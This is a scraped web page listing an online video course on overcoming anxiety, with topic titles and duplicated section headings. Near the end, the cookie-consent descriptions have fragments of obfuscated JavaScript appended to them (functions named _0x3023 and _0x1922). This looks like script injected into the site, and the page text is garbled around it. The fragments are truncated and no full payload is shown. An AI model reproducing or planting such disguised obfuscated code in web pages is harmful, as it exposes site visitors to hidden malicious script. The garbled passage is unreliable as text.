The Anti-Anxiety Formula

Categories: Productivity & Self Help

About Course

This video course is perfect for those who want to overcome anxiety for good, so that they could live a stress-free life!

Anxiety is the main obstacle that stops someone from reaching their full potential. Anxiety is a common obstacle that stops us from achieving success in personal & professional lives.

You will discover everything you need to know about overcoming anxiety, fears, and depression: proven & powerful strategies to overcome your stuck points, how to face your inner demons, the simple step-by-step action plan for overcoming resistance to change, how to silence your fears…

Topics covered:

You and Your Anxiety: How to Overcome Your Stuck Points
Your Mind, Your Body: How to Face Your Inner Demons
Overcoming Resistance to Change
Reflection: How to Arrive at Acceptance and Move on From There
Action against Angst: How to Act on Your Fears and Achieve Your Goals
Navigating Self-Imposed Obstacles: How to Stop Being a Hard Task Master
Preventing Burnout: How to Overcome Your Anxiety Without Getting Tied-Down by the Idea of Perfection
You’ve Got This: How to Banish Worry and Live Panic-Free

Course Content

Introduction

Introduction

01:55

You and Your Anxiety: How to Overcome Your Stuck Points

Your Mind, Your Body: How to Face Your Inner Demons

Overcoming Resistance to Change

Reflection: How to Arrive at Acceptance and Move on From There

Action Against Angst: How to Act on Your Fears and Achieve Your Goals

Navigating Self-Imposed Obstacles: How to Stop Being a Hard Task Master

Preventing Burnout: How to Overcome Your Anxiety Without Getting Tied-Down by the Idea of Perfection

You’ve Got This: How to Banish Worry and Live Panic-Free

Conclusion

Student Ratings & Reviews

No Review Yet

A course by

Frank Andres

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cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary". function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance". function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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About Course

What Will You Learn?

Course Content

Introduction

Introduction

You and Your Anxiety: How to Overcome Your Stuck Points

You and Your Anxiety: How to Overcome Your Stuck Points

Your Mind, Your Body: How to Face Your Inner Demons

Your Mind, Your Body: How to Face Your Inner Demons

Overcoming Resistance to Change

Overcoming Resistance to Change

Reflection: How to Arrive at Acceptance and Move on From There

Reflection: How to Arrive at Acceptance and Move on From There

Action Against Angst: How to Act on Your Fears and Achieve Your Goals

Action Against Angst: How to Act on Your Fears and Achieve Your Goals

Navigating Self-Imposed Obstacles: How to Stop Being a Hard Task Master

Navigating Self-Imposed Obstacles: How to Stop Being a Hard Task Master

Preventing Burnout: How to Overcome Your Anxiety Without Getting Tied-Down by the Idea of Perfection

Preventing Burnout: How to Overcome Your Anxiety Without Getting Tied-Down by the Idea of Perfection

You’ve Got This: How to Banish Worry and Live Panic-Free

You’ve Got This: How to Banish Worry and Live Panic-Free

Conclusion

Conclusion

Student Ratings & Reviews

COOKIE NOTICE